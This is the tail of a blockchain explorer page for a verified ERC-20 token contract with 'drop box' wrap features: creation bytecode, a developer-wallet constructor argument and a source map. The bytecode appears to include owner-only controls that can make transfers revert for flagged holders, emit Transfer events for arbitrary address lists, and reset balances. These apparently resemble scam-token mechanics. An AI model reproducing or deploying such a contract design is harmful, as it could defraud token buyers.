00000000000000000000000000000000000000000000000000000008152600401620013c29062002a63565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051620014ab919062001f65565b60405180910390a3505050565b6000620014c6848462000ccf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811462001546578181101562001536576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200152d9062002ad5565b60405180910390fd5b620015458484848403620012e5565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415620015bf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620015b69062002b6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562001632576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620016299062002c05565b60405180910390fd5b6200163f83838362001bcb565b600560006200164d62001bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615620016e457620016e38362001bd0565b5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156200176e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620017659062002c9d565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620018059190620024cc565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516200186b919062001f65565b60405180910390a36200188084848462001c9e565b50505050565b62001890620012dd565b73ffffffffffffffffffffffffffffffffffffffff16620018b062001bb5565b73ffffffffffffffffffffffffffffffffffffffff161462001909576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620019009062002d0f565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200197e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620019759062002da7565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101562001a08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620019ff9062002e3f565b60405180910390fd5b81600d5462001a18919062002e61565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816007600082825462001a6f919062002e61565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405162001ad6919062001f65565b60405180910390a362001aec8360008462001c9e565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008062001bc262001ca3565b90508091505090565b505050565b60006004600062001be062001bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541162001c9b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162001c929062002f12565b60405180910390fd5b50565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462001d205760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662001d44565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b61082f8062002f3583390190565b600081519050919050565b600082825260208201905092915050565b60005b8381101562001d9357808201518184015260208101905062001d76565b8381111562001da3576000848401525b50505050565b6000601f19601f8301169050919050565b600062001dc78262001d57565b62001dd3818562001d62565b935062001de581856020860162001d73565b62001df08162001da9565b840191505092915050565b6000602082019050818103600083015262001e17818462001dba565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062001e608262001e33565b9050919050565b62001e728162001e53565b811462001e7e57600080fd5b50565b60008135905062001e928162001e67565b92915050565b6000819050919050565b62001ead8162001e98565b811462001eb957600080fd5b50565b60008135905062001ecd8162001ea2565b92915050565b6000806040838503121562001eed5762001eec62001e29565b5b600062001efd8582860162001e81565b925050602062001f108582860162001ebc565b9150509250929050565b60008115159050919050565b62001f318162001f1a565b82525050565b600060208201905062001f4e600083018462001f26565b92915050565b62001f5f8162001e98565b82525050565b600060208201905062001f7c600083018462001f54565b92915050565b60008060006060848603121562001f9e5762001f9d62001e29565b5b600062001fae8682870162001e81565b935050602062001fc18682870162001e81565b925050604062001fd48682870162001ebc565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f84011262002006576200200562001fde565b5b8235905067ffffffffffffffff81111562002026576200202562001fe3565b5b60208301915083602082028301111562002045576200204462001fe8565b5b9250929050565b60008060006040848603121562002068576200206762001e29565b5b600084013567ffffffffffffffff81111562002089576200208862001e2e565b5b620020978682870162001fed565b93509350506020620020ac8682870162001ebc565b9150509250925092565b600060ff82169050919050565b620020ce81620020b6565b82525050565b6000602082019050620020eb6000830184620020c3565b92915050565b6000602082840312156200210a576200210962001e29565b5b60006200211a8482850162001ebc565b91505092915050565b6000602082840312156200213c576200213b62001e29565b5b60006200214c8482850162001e81565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200218f8262001da9565b810181811067ffffffffffffffff82111715620021b157620021b062002155565b5b80604052505050565b6000620021c662001e1f565b9050620021d4828262002184565b919050565b600067ffffffffffffffff821115620021f757620021f662002155565b5b602082029050602081019050919050565b60006200221f6200221984620021d9565b620021ba565b9050808382526020820190506020840283018581111562002245576200224462001fe8565b5b835b818110156200227257806200225d888262001e81565b84526020840193505060208101905062002247565b5050509392505050565b600082601f83011262002294576200229362001fde565b5b8135620022a684826020860162002208565b91505092915050565b620022ba8162001f1a565b8114620022c657600080fd5b50565b600081359050620022da81620022af565b92915050565b60008060408385031215620022fa57620022f962001e29565b5b600083013567ffffffffffffffff8111156200231b576200231a62001e2e565b5b62002329858286016200227c565b92505060206200233c85828601620022c9565b9150509250929050565b620023518162001e53565b82525050565b60006020820190506200236e600083018462002346565b92915050565b600080604083850312156200238e576200238d62001e29565b5b60006200239e8582860162001e81565b9250506020620023b18582860162001e81565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200240357607f821691505b602082108114156200241a5762002419620023bb565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200248b8262001e98565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415620024c157620024c06200244f565b5b600182019050919050565b6000620024d98262001e98565b9150620024e68362001e98565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200251e576200251d6200244f565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006200258760258362001d62565b9150620025948262002529565b604082019050919050565b60006020820190508181036000830152620025ba8162002578565b9050919050565b7f44726f7020626f7820616c7265616479206578697374732e0000000000000000600082015250565b6000620025f960188362001d62565b91506200260682620025c1565b602082019050919050565b600060208201905081810360008301526200262c81620025ea565b9050919050565b7f4e6f7420656e6f75676820436f696e20746f20756e777261702e000000000000600082015250565b60006200266b601a8362001d62565b9150620026788262002633565b602082019050919050565b600060208201905081810360008301526200269e816200265c565b9050919050565b6000604082019050620026bc600083018562002346565b620026cb602083018462001f54565b9392505050565b7f596f75206d7573742063726561746520612064726f7020626f7820666972737460008201527f2e00000000000000000000000000000000000000000000000000000000000000602082015250565b60006200273060218362001d62565b91506200273d82620026d2565b604082019050919050565b60006020820190508181036000830152620027638162002721565b9050919050565b6000815190506200277b8162001ea2565b92915050565b6000602082840312156200279a576200279962001e29565b5b6000620027aa848285016200276a565b91505092915050565b7f4e6f7420656e6f75676820436f696e20696e2064726f7020626f782e00000000600082015250565b6000620027eb601c8362001d62565b9150620027f882620027b3565b602082019050919050565b600060208201905081810360008301526200281e81620027dc565b9050919050565b6000819050919050565b6000620028506200284a620028448462001e33565b62002825565b62001e33565b9050919050565b600062002864826200282f565b9050919050565b6000620028788262002857565b9050919050565b6200288a816200286b565b82525050565b6000604082019050620028a7600083018562001f54565b620028b660208301846200287f565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006200291b60268362001d62565b91506200292882620028bd565b604082019050919050565b600060208201905081810360008301526200294e816200290c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000620029b360248362001d62565b9150620029c08262002955565b604082019050919050565b60006020820190508181036000830152620029e681620029a4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600062002a4b60228362001d62565b915062002a5882620029ed565b604082019050919050565b6000602082019050818103600083015262002a7e8162002a3c565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600062002abd601d8362001d62565b915062002aca8262002a85565b602082019050919050565b6000602082019050818103600083015262002af08162002aae565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600062002b5560258362001d62565b915062002b628262002af7565b604082019050919050565b6000602082019050818103600083015262002b888162002b46565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600062002bed60238362001d62565b915062002bfa8262002b8f565b604082019050919050565b6000602082019050818103600083015262002c208162002bde565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600062002c8560268362001d62565b915062002c928262002c27565b604082019050919050565b6000602082019050818103600083015262002cb88162002c76565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062002cf760208362001d62565b915062002d048262002cbf565b602082019050919050565b6000602082019050818103600083015262002d2a8162002ce8565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062002d8f60218362001d62565b915062002d9c8262002d31565b604082019050919050565b6000602082019050818103600083015262002dc28162002d80565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600062002e2760228362001d62565b915062002e348262002dc9565b604082019050919050565b6000602082019050818103600083015262002e5a8162002e18565b9050919050565b600062002e6e8262001e98565b915062002e7b8362001e98565b92508282101562002e915762002e906200244f565b5b828203905092915050565b7f4e6f7420656e6f75676820696e2064726f70426f782c20706c6561736520777260008201527f6170206d6f726520636f696e732e000000000000000000000000000000000000602082015250565b600062002efa602e8362001d62565b915062002f078262002e9c565b604082019050919050565b6000602082019050818103600083015262002f2d8162002eeb565b905091905056fe608060405234801561001057600080fd5b503380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061006f61006461007560201b60201c565b61007d60201b60201c565b50610141565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6106df806101506000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c8063715018a6146100515780638d3c100a1461005b5780638da5cb5b14610077578063f2fde38b14610095575b600080fd5b6100596100b1565b005b6100756004803603810190610070919061049f565b6100c5565b005b61007f610145565b60405161008c91906104ee565b60405180910390f35b6100af60048036038101906100aa9190610535565b61016e565b005b6100b96101f2565b6100c36000610270565b565b6100cd6101f2565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6100f1610145565b846040518363ffffffff1660e01b815260040161010f929190610571565b600060405180830381600087803b15801561012957600080fd5b505af115801561013d573d6000803e3d6000fd5b505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6101766101f2565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156101e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dd9061061d565b60405180910390fd5b6101ef81610270565b50565b6101fa610334565b73ffffffffffffffffffffffffffffffffffffffff1661021861033c565b73ffffffffffffffffffffffffffffffffffffffff161461026e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026590610689565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600033905090565b600080610347610350565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103cb5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103ef565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b6000819050919050565b61040c816103f9565b811461041757600080fd5b50565b60008135905061042981610403565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061045a8261042f565b9050919050565b600061046c8261044f565b9050919050565b61047c81610461565b811461048757600080fd5b50565b60008135905061049981610473565b92915050565b600080604083850312156104b6576104b56103f4565b5b60006104c48582860161041a565b92505060206104d58582860161048a565b9150509250929050565b6104e88161044f565b82525050565b600060208201905061050360008301846104df565b92915050565b6105128161044f565b811461051d57600080fd5b50565b60008135905061052f81610509565b92915050565b60006020828403121561054b5761054a6103f4565b5b600061055984828501610520565b91505092915050565b61056b816103f9565b82525050565b600060408201905061058660008301856104df565b6105936020830184610562565b9392505050565b600082825260208201905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061060760268361059a565b9150610612826105ab565b604082019050919050565b60006020820190508181036000830152610636816105fa565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061067360208361059a565b915061067e8261063d565b602082019050919050565b600060208201905081810360008301526106a281610666565b905091905056fea2646970667358221220007bce2cdffee96a17e75fa9da7242f1b2ca1d5f21eb8ecbd82fd1cb6da6980f64736f6c63430008090033a2646970667358221220df989a15fb288bc6cc2097f5e02d771627c6e433df9ca79e72fa4022ceb2464864736f6c63430008090033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000fa7fa9a4904470945dd72043507cf29b2eeee54a

-----Decoded View---------------
Arg [0] : _devWallet (address): 0xFA7fa9a4904470945DD72043507Cf29b2EeeE54a

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000fa7fa9a4904470945dd72043507cf29b2eeee54a


Deployed Bytecode Sourcemap

216:2570:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2402:100:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4752:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3521:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5533:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10950:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3364:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6237:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2689:94:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3692:127:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2731:103:4;;;:::i;:::-;;2210:221:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1955:87:4;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2621:104:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6978:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4025:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1264:234:3;;;:::i;:::-;;2439:89;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2536:145;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;509:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4281:151:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1986:216:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1506:472;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2989:201:4;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2402:100:1;2456:13;2489:5;2482:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2402:100;:::o;4752:201::-;4835:4;4852:13;4868:12;:10;:12::i;:::-;4852:28;;4891:32;4900:5;4907:7;4916:6;4891:8;:32::i;:::-;4941:4;4934:11;;;4752:201;;;;:::o;3521:108::-;3582:7;3609:12;;3602:19;;3521:108;:::o;5533:295::-;5664:4;5681:15;5699:12;:10;:12::i;:::-;5681:30;;5722:38;5738:4;5744:7;5753:6;5722:15;:38::i;:::-;5771:27;5781:4;5787:2;5791:6;5771:9;:27::i;:::-;5816:4;5809:11;;;5533:295;;;;;:::o;10950:222::-;1841:13:4;:11;:13::i;:::-;11046:9:1::1;11041:124;11065:10;;:17;;11061:1;:21;11041:124;;;11133:10;;11144:1;11133:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11109:44;;11118:13;;;;;;;;;;;11109:44;;;11148:4;11109:44;;;;;;:::i;:::-;;;;;;;;11084:3;;;;;:::i;:::-;;;;11041:124;;;;10950:222:::0;;;:::o;3364:92::-;3422:5;3447:1;3440:8;;3364:92;:::o;6237:238::-;6325:4;6342:13;6358:12;:10;:12::i;:::-;6342:28;;6381:64;6390:5;6397:7;6434:10;6406:25;6416:5;6423:7;6406:9;:25::i;:::-;:38;;;;:::i;:::-;6381:8;:64::i;:::-;6463:4;6456:11;;;6237:238;;;;:::o;2689:94:3:-;1841:13:4;:11;:13::i;:::-;2748:27:3::1;2754:12;:10;:12::i;:::-;2768:6;2748:5;:27::i;:::-;2689:94:::0;:::o;3692:127:1:-;3766:7;3793:9;:18;3803:7;3793:18;;;;;;;;;;;;;;;;3786:25;;3692:127;;;:::o;2731:103:4:-;1841:13;:11;:13::i;:::-;2796:30:::1;2823:1;2796:18;:30::i;:::-;2731:103::o:0;2210:221:3:-;1841:13:4;:11;:13::i;:::-;2296:9:3::1;2291:133;2315:8;:15;2311:1;:19;2291:133;;;2407:5;2352:27;:39;2380:10;2352:39;;;;;;;;;;;;;;;:52;2392:8;2401:1;2392:11;;;;;;;;:::i;:::-;;;;;;;;2352:52;;;;;;;;;;;;;;;;:60;;;;;;;;;;;;;;;;;;2332:3;;;;;:::i;:::-;;;;2291:133;;;;2210:221:::0;;:::o;1955:87:4:-;2001:7;2028:6;;;;;;;;;;;2021:13;;1955:87;:::o;2621:104:1:-;2677:13;2710:7;2703:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2621:104;:::o;6978:436::-;7071:4;7088:13;7104:12;:10;:12::i;:::-;7088:28;;7127:24;7154:25;7164:5;7171:7;7154:9;:25::i;:::-;7127:52;;7218:15;7198:16;:35;;7190:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7311:60;7320:5;7327:7;7355:15;7336:16;:34;7311:8;:60::i;:::-;7402:4;7395:11;;;;6978:436;;;;:::o;4025:193::-;4104:4;4121:13;4137:12;:10;:12::i;:::-;4121:28;;4160;4170:5;4177:2;4181:6;4160:9;:28::i;:::-;4206:4;4199:11;;;4025:193;;;;:::o;1264:234:3:-;1348:1;1315:35;;:9;:21;1325:10;1315:21;;;;;;;;;;;;;;;;;;;;;;;;;:35;;;1307:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;1424:13;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;1392:9;:21;1402:10;1392:21;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;1479:10;1464:26;;;;;;;;;;;;1264:234::o;2439:89::-;1841:13:4;:11;:13::i;:::-;2515:5:3::1;2499:13;;:21;;;;;;;;;;;;;;;;;;2439:89:::0;:::o;2536:145::-;2608:4;2631:27;:34;2659:5;2631:34;;;;;;;;;;;;;;;:42;2666:6;2631:42;;;;;;;;;;;;;;;;;;;;;;;;;2624:49;;2536:145;;;;:::o;509:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;4281:151:1:-;4370:7;4397:11;:18;4409:5;4397:18;;;;;;;;;;;;;;;:27;4416:7;4397:27;;;;;;;;;;;;;;;;4390:34;;4281:151;;;;:::o;1986:216:3:-;2068:5;2043:21;2053:10;2043:9;:21::i;:::-;:30;;2035:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;2117:5;;;;;;;;;;;:14;;;2132:10;2144:5;2117:33;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2183:10;2166:28;;2176:5;2166:28;;;;;;;;;;1986:216;:::o;1506:472::-;1553:15;1571:9;:21;1581:10;1571:21;;;;;;;;;;;;;;;;;;;;;;;;;1553:39;;1630:1;1611:21;;:7;:21;;;;1603:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1718:5;1690;;;;;;;;;;;:15;;;1706:7;1690:24;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:33;;1682:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;1777:7;1769:24;;;1794:5;1801;;;;;;;;;;;1769:38;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1869:4;1818:27;:36;1846:7;:5;:7::i;:::-;1818:36;;;;;;;;;;;;;;;:48;1855:10;1818:48;;;;;;;;;;;;;;;;:55;;;;;;;;;;;;;;;;;;1923:5;1884:15;:27;1900:10;1884:27;;;;;;;;;;;;;;;:36;1912:7;:5;:7::i;:::-;1884:36;;;;;;;;;;;;;;;:44;;;;1959:10;1944:26;;1952:5;1944:26;;;;;;;;;;1542:436;1506:472;:::o;2989:201:4:-;1841:13;:11;:13::i;:::-;3098:1:::1;3078:22;;:8;:22;;;;3070:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;3154:28;3173:8;3154:18;:28::i;:::-;2989:201:::0;:::o;601:98::-;654:7;681:10;674:17;;601:98;:::o;9812:380:1:-;9965:1;9948:19;;:5;:19;;;;9940:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10046:1;10027:21;;:7;:21;;;;10019:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10130:6;10100:11;:18;10112:5;10100:18;;;;;;;;;;;;;;;:27;10119:7;10100:27;;;;;;;;;;;;;;;:36;;;;10168:7;10152:32;;10161:5;10152:32;;;10177:6;10152:32;;;;;;:::i;:::-;;;;;;;;9812:380;;;:::o;10489:453::-;10624:24;10651:25;10661:5;10668:7;10651:9;:25::i;:::-;10624:52;;10711:17;10691:16;:37;10687:248;;10773:6;10753:16;:26;;10745:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10857:51;10866:5;10873:7;10901:6;10882:16;:25;10857:8;:51::i;:::-;10687:248;10613:329;10489:453;;;:::o;8574:800::-;8721:1;8705:18;;:4;:18;;;;8697:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8798:1;8784:16;;:2;:16;;;;8776:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8853:38;8874:4;8880:2;8884:6;8853:20;:38::i;:::-;8905:27;:36;8933:7;:5;:7::i;:::-;8905:36;;;;;;;;;;;;;;;:42;8942:4;8905:42;;;;;;;;;;;;;;;;;;;;;;;;;8902:121;;;8979:16;8990:4;8979:10;:16::i;:::-;8902:121;9033:19;9055:9;:15;9065:4;9055:15;;;;;;;;;;;;;;;;9033:37;;9104:6;9089:11;:21;;9081:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;9221:6;9207:11;:20;9189:9;:15;9199:4;9189:15;;;;;;;;;;;;;;;:38;;;;9266:6;9249:9;:13;9259:2;9249:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;9305:2;9290:26;;9299:4;9290:26;;;9309:6;9290:26;;;;;;:::i;:::-;;;;;;;;9329:37;9349:4;9355:2;9359:6;9329:19;:37::i;:::-;8686:688;8574:800;;;:::o;2120:127:4:-;2190:12;:10;:12::i;:::-;2179:23;;:7;:5;:7::i;:::-;:23;;;2171:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2120:127::o;763:493:3:-;866:1;847:21;;:7;:21;;;;839:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;923:22;948:9;:18;958:7;948:18;;;;;;;;;;;;;;;;923:43;;1003:6;985:14;:24;;977:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;1097:6;1086:8;;:17;;;;:::i;:::-;1065:9;:18;1075:7;1065:18;;;;;;;;;;;;;;;:38;;;;1130:6;1114:12;;:22;;;;;;;:::i;:::-;;;;;;;;1178:1;1152:37;;1161:7;1152:37;;;1182:6;1152:37;;;;;;:::i;:::-;;;;;;;;1200:48;1220:7;1237:1;1241:6;1200:19;:48::i;:::-;828:428;763:493;;:::o;3350:191:4:-;3424:16;3443:6;;;;;;;;;;;3424:25;;3469:8;3460:6;;:17;;;;;;;;;;;;;;;;;;3524:8;3493:40;;3514:8;3493:40;;;;;;;;;;;;3413:128;3350:191;:::o;2255:125::-;2298:7;2318:14;2335:13;:11;:13::i;:::-;2318:30;;2366:6;2359:13;;;2255:125;:::o;11940::1:-;;;;:::o;11182:158::-;11280:1;11245:15;:24;11261:7;:5;:7::i;:::-;11245:24;;;;;;;;;;;;;;;:32;11270:6;11245:32;;;;;;;;;;;;;;;;:36;11237:95;;;;;;;;;;;;:::i;:::-;;;;;;;;;11182:158;:::o;12669:124::-;;;;:::o;3549:113:4:-;3594:7;3636:1;3620:18;;:6;;;;;;;;;;:18;;;:34;;3648:6;;;;;;;;;;3620:34;;;3641:4;;;;;;;;;;;3620:34;3613:41;;3549:113;:::o;-1:-1:-1:-;;;;;;;;:::o;7:99:5:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4